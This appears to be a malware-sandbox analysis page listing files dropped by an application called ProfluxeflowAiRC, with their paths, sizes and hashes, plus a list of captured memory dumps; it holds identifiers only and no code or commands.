SHA256 320565434e5d8a77e13980e9c0e641daa08d12693ac0d77df9ccf2b25d9e526c
MD5 20d9ebd5020c322365d11bfe49740609
SHA1 0c4248028be99dd04c48428537d98c19b20f12fb
SHA512 05c98a4ae88e305ca02c961526fb7a947036a197ab8d564fa9f530325192233b1285dd3880467db89f3f8a77b84f674c6c1716ad8e62b7b74a4db32d599578b4
SSDEEP 49152:y6ntbdeqBH287v7cavvL4e0OgcmeNHyxsBSoYHXahOO5uBcLr7mbpJ3h/d:yUdeqt737jFmRtF
TLSH
T177268D56A7E840E9D1BBD138DA87821BEBF1B80413349BDF015086599F73BD26A3E734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\chrome_100_percent.pak
Size 163KB
SHA256 4474d496b4eb082073fb439133728eed72da35f4519505c1c246ef2b9552cf49
MD5 7bd1757ba953d8b304da1d6fb4fd7573
SHA1 4d5744d0ba3444405eeb7f43e74653f2ed3fd799
SHA512 12d7124511067f2cec4fc9f3a9022971867c540d9f01f6cc0b5dde834f106c065faf860bf7a421a836fceae9616221dfe97e8b1181f636576509cfb63f5bab5c
SSDEEP 3072:e4PisCv+/P9NebGz8LI1TwuLjQBHUP1L2o418Gb0+VRLf0ld0GY3cQ3ERVh2I:jYWFUbGz8LI1TnjQB05K18Gb0OV8ld0Q
TLSH
T120F3E1D7B7F0ED7DCA5B4AB797560071ECB30B2D0792124A5A8ED475252AB88D8C83C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\chrome_200_percent.pak
Size 252KB
SHA256 3e815b1223026c0bdfffcee62a58885e0ccd99d77f0b950778d109832e38e9cc
MD5 6a460ee2c4e796e53f9be9b050cca017
SHA1 52fb1eba7629f2896c6432969010f34f1903f8c2
SHA512 23ae8fdf5618582bd51b3690526efd135228f97649c6755e2d024b8048e214e4069f355fe4e7f09f82be45accccabf06dd6c065aecc6ed354de996f88a48ce03
SSDEEP 6144:rGQ+N6uSZQDQYakvyAkcjQB0ugx5GMRejnbdZnVE6Yoppx4:rQN6uS/fkvyAkcjK0a6edhVELoXx4
TLSH
T1FB44F1D773B8ED3DD9670AB3A21600F0FDB611290AB2525A569FDC393955EC888CD383
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

debug.log

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\debug.log
Size 206B
SHA256 4707ce7632d55fb49e6ac85cc4f7a363f8262de5c32680797880cb0f228ececf
MD5 4568e29b809168fc7facd9640c7c4922
SHA1 edb87936ab0d6546b7b986e746c488ac6839f247
SHA512 392ac5a3ab8fd5e9a1473046fc3ac5e536d6ebec67eade99f176ea274f4c7cde47f4978657b8d328cc0e9fd84ab62209c68dd427a9aa1fdaba1c003be38686a8
TLSH
T128D0C9065E85097B8025CA447CC00A80DC45A695E42F8D7ADA16C320B36AB8C7AC9C95
MD5 SHA1 SHA512 TLSH

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\ffmpeg.dll
Size 3.2MB
SHA256 c8eb616a836e1119102d70915c09e4dccc92f7efd241291f7c31aa5884836aae
MD5 89603b128fe47572cc5aefd1ec890e03
SHA1 362aac7af612117c457bc6b253789888f1ce1bb3
SHA512 c3a24802f43676eb78e0c2302ba8e07b942fe6465c24beb2ee96ff21b393a9d878dd4416b004c26889b7abeea094d25e9f826c1b8e3bd9f2e3248367595ef175
SSDEEP 98304:aM3BmfO9VmfzzNVHwodRldVryGOeDksuFNQHozXwH6JMGB1ORs/t2O2I+Eo:DR/9Vmf3NVH3dRldVryGOeDksuFNQHoC
TLSH
T167F59D03F6D6509DF029C074879B9A13F632348A8B2055EF16909A253FB7FD86B3E719
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\icudtl.dat
Size 10.0MB
SHA256 5070de99fbd8a48378543511fb7a072f85bf36f94b4f4e1d420d54be1435d6f1
MD5 4171402e385f07007de57f45ff540e9a
SHA1 aab98edda310e6ddd3e4b71f95b6225c4defa7fc
SHA512 53e303895fa80944f7b0e0f64ab657b79bfe0d7c462b853ed06b556e42d78c639021c4c337743f18174614a1f74c805198ae868c52dfd8a2e270e4ce4a2880ff
SSDEEP 196608:rwPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2YDU:rswkpHiXUxY/iJ53IWhlVjEeI0U
TLSH
T1CEB63807A2FB8DC6F9F76F30E8F452679567BD496E32805911042F3B1D332A08661BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\libEGL.dll
Size 503KB
SHA256 1a7e0c09ed203171b364c2e8516297099a584f7fa412b6a8be92df07b7c6b50a
MD5 66dd17b7b4136d5709238a89648ac3ce
SHA1 3d0a8647a73aeab3672ea09e95960f4342367bbd
SHA512 c464a02a8a9fed5a4c296cde5b8d6864fe99e31d3424fbd96715052d79d940ac263101328aba816e356a39263231a598947e806f843a44d05089838b7c548b3f
SSDEEP 6144:Orc4fsnH0sMclrRbnrJtHL1kbRQIPt7rccicQ+PDyIgxrkM8yn:OrcUsDMEhnrP1vIPt7rccicQUy2Y
TLSH
T13CB49E15F3D84668E06AC5348A534642DA76B8860B65FADF03E092793F3BFE45B3E314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libglesv2.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\libglesv2.dll
Size 7.7MB
SHA256 a2fa7dcccf5f515ab513c4ee23964345ed1962a31e3fb6d30413cd542ebace2d
MD5 e2f99b032ec9f564ba2a138891e9eab5
SHA1 81f4f903dd9267475b3982c8a12f00b8c7d43330
SHA512 6e6883350d0a184ffb84d75ffa93d659701ced2a30047a329bb00550b2972f3c241b013dfe18e680fd6495f4e09df42b7e6a71e2bc5cbf5e7bf72c998a5ce53d
SSDEEP 98304:MB+3PUNOzpVYHl9SqK0PHus8NWC9BZEXY1ngz:ZfUgp0PHn8wCWSngz
TLSH
T1D4867B03F69680D9D04DE2B4875B9227FA34B8850324B6CF279457152F67FE0AB7EB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\resources.pak
Size 5.6MB
SHA256 cafd58e840d8b4aeaf6cc87b56e63dd5889b7ffebff7e0e959d45066bc85caad
MD5 8a8bf409e675a154a0bbf8172e563ab4
SHA1 36b1b4441c708c0ac55113923329f0048cd5f9ab
SHA512 53be87c1ab6234a7da0ff1935c1e166931f670ac6d273842b67a9fa3024199615db31ecd1e04fbec49849109cd5736ef501bffe97d9cd4fa7232377c5e94fe71
SSDEEP 98304:Y/RTgs94POX7P8kARvlaLIPzXH9MnsRrwrC/ICGaZZJjoMzL9+CfLRneSmD0Pk:sr94WX7EDlZbNMsRkrCAGoMFnxCGk
TLSH
T1F14633D177E61E6FE50893B8C1B88371CE2D882635152105608CB229FD35A6FAFD25BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\resources\app.asar
Size 7.8MB
SHA256 6e5ebabd1a474a3be16b9539655aa1176f5d01eb1a726f42781dbd85d9955817
MD5 a30786840be6f034f2168464c7050f9c
SHA1 b28662b3c17369ca7698a016afba7ac1f94ddc37
SHA512 768a038da186738e50c6b6bcd6d4c94b1c853dd24369b17fb1e00f3ee63aa596ab528ac6a01b9e9bb305f1a97ce4ad47ccf0fb7d193604435adf8061c32a2e0b
SSDEEP 49152:A19VbNc/ppgFSXcm08sq4+TTCCUugJUS1C9iguUgFFn4QNhAejRmf4vjRmz4y5j2:MrLHb4QE4O4yQoAUo46T
TLSH
T1A9862A5969F612320AE371B94B9F5045B335C8173118E964BA9EC3D81F8C83992F6FEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.html

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\resources\index.html
Size 969B
SHA256 9eea66b68d39ef2c7cde90ac5cee09ae3f18c78f2f8422783d5b8555ca833fe9
MD5 cffbbfa82851933ebc30b459f6ddcc06
SHA1 8d304667fc8b71a7c0dd0409cdca6a2c4a515ce9
SHA512 1db15091cdd299b94efd8aa95c234dde9a6dc2b8138c29b3de6e464a0913edcde24b4775a4d0ebcb24d2c29ed536463bbf7f92e2673aab5a7718df6ebf4d49b2
TLSH
T13B11592A9A441845A533F6B46FB29741F6E3901783424A2D7ADC66A60FF71188D63F88
MD5 SHA1 SHA512 TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\v8_context_snapshot.bin
Size 683KB
SHA256 9537f5ad5847faf38a7030e0688b2b77d1582d196c034a9f2d5f19038f11b813
MD5 d635b18dbc2a7b288603216c0c5b3fa8
SHA1 a6210b0bcf439eef14854797cb1f161acbd1014f
SHA512 e825955307c0668676186245ac77245c6a5499c45eafb8c11f0f67d10b13718086eb50933e37f42221719e6dd98c080ad3e3a9b4f1aaf521ac6a9818a5df3370
SSDEEP 6144:qqGRvt+yUQj/sFq2Vdk1p2VXy1fawkWe9YITbg1HoSFrUb6keXjxQOLL:qxMk1pX1y/We/Tb8HozbeTTX
TLSH
T182E46156A75FDF27CACE187D5EE59F453DB5B08EAF0B422B311803BCA43A2640A9530D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\vk_swiftshader.dll
Size 5.3MB
SHA256 cc1d31ba52be1a5f404238dd9743a76dfbca9468cba878b79c85ab3bae3ab894
MD5 e9abc9644f833e22e47c37fb5f8e0244
SHA1 b9cb835d574f230459acf7837f8e89bbca387e56
SHA512 bebd9381f88a65ce83e0f88752173431d8bee436133cbfdbedef6a1c0a988e26c4dd02f60402ff157dfd921c2a0614e7d6c62679b80e01230bbc4a1d8d3aaf41
SSDEEP 49152:uYyu/q9DxTIB1vQwSd5MBtnGfilWeEZZKmna8NnzMgGzqSQ71WJjZOzXBRXmFzA6:uYyu/uPJSJwSWrlZsJ/
TLSH
T113463703F28A80D9F05DD579875F9622F672B8814B2276DF52A01F192E7BFE0A739701
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\vulkan-1.dll
Size 910KB
SHA256 90f645688478c0ad6a04f3700a4e521c3e8bb09c783382ca7ae8249f36e7d523
MD5 d46255bdbb086c6d263db7c2d765000e
SHA1 3122611399e471b8287609c07c79286c017033c2
SHA512 d56c18633f6e22d549de4563a8525d8e19cf366756a34e7cb9a3c6dad56fca929580abc2681320580d1e229c008515d44f74b4abcdd19f3cb1dbbc16f7c65cd3
SSDEEP 24576:ndFNgyp/0pJBjx2E/Wa6ml6Z5WRDYsHm6g3P0zAk71PQ:bNgCcpJB3Oa6ml6Z5WRDYsHm6g3P0zAV
TLSH
T11A154B23A6948569D57AD034C9D28603C9B174822326B9CF02AC57087F6FFF47B7DB29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

update.exe

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\update.exe
Size 2.9MB
SHA256 a453dd010ef776eef3d704c9144abc40224bbb5a2267d9b8f675bffa805d7c47
MD5 4c04b4ce1d13705e53a2ec522791a018
SHA1 ad2e52cfea88ee5484ccf1b321b39f93ff879086
SHA512 838598545965df7ace5d9ce624b4df14876cecc0a91a1283bba4e2fa0b09a70da7402ee39f24091ac8dd670c136bd503ba73f4ef531a65b1f06ec801e255c401
SSDEEP 49152:8l4gaDleSQ4edhOQpz31sv7ti7CBIQ/ixlQwT4X8pMx4q/:8WDoSwHFOtwsoCwTTMx
TLSH
T1F5D55BC1F9B251BBE44B09B1207AEB3B8B366C874538F756D7E06D13F861310A99913B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default.dic

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

memory/1116-309-0x000001C6366B0000-0x000001C6367CE000-memory.dmp

Download

memory/1128-121-0x0000021390AD0000-0x0000021390BEE000-memory.dmp

Download

memory/1856-310-0x000001EC87380000-0x000001EC8749E000-memory.dmp

Download

memory/2192-137-0x0000000002980000-0x00000000029E4000-memory.dmp

Download

memory/2192-118-0x0000000002980000-0x00000000029E4000-memory.dmp

Download

memory/2228-312-0x0000000001430000-0x000000000143C000-memory.dmp

Download

memory/2576-334-0x00007FF6C53E0000-0x00007FF6C5499000-memory.dmp

Download

memory/2724-126-0x000001F15EA00000-0x000001F15EB1E000-memory.dmp

Download

memory/2904-92-0x00007FFC64210000-0x00007FFC64211000-memory.dmp

Download

memory/2904-127-0x000001C968090000-0x000001C96817A000-memory.dmp

Download

memory/2904-88-0x00007FFC645D0000-0x00007FFC645D1000-memory.dmp

Download

memory/3004-332-0x00007FF647B50000-0x00007FF647C3E000-memory.dmp

Download

memory/3004-333-0x00000000035D0000-0x00000000035DC000-memory.dmp

Download

memory/3968-279-0x00000000016E0000-0x00000000016EC000-memory.dmp

Download

memory/3968-280-0x000000001C5E0000-0x000000001C5F2000-memory.dmp

Download

memory/3968-260-0x000000001CA60000-0x000000001CA80000-memory.dmp

Download

memory/3968-207-0x0000000000BE0000-0x0000000000DB6000-memory.dmp

Download

memory/4968-302-0x00000218BE650000-0x00000218BE73A000-memory.dmp

Download